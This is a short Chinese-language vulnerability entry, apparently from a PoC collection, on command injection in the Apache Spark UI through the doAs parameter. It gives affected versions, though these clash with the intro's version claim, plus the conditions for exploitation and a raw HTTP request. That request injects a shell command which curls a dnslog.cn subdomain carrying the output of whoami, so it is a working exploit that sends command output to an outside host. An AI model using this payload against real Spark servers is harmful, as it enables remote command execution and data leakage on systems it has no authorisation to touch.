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25 lines
926 B
Markdown
25 lines
926 B
Markdown
## 介绍
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Apache Spark是美国阿帕奇（Apache）基金会的一款支持非循环数据流和内存计算的大规模数据处理引擎。
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Apache Spark 3.4.0之前版本存在命令注入漏洞，该漏洞源于如果ACL启用后，HttpSecurityFilter中的代码路径可以允许通过提供任意用户名来执行模拟，这将导致任意shell命令执行。
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## 漏洞版本
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3.1.1 <= Apache Spark < 3.2.2
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## 利用条件
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Apache Spark UI 启用 ACL ，且低权限
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## 漏洞poc
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```
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GET /jobs/?doAs=`curl+$(whoami)hw9y0l.dnslog.cn` HTTP/1.1
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Host: 10.211.55.7:4040
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Connection: keep-alive
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Cache-Control: max-age=0
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DNT: 1
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Upgrade-Insecure-Requests: 1
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User-Agent: Mozilla/5.0 Chrome/116.0.0.0 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
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Accept-Encoding: gzip, deflate
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Accept-Language: zh-CN,zh;q=0.9
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```
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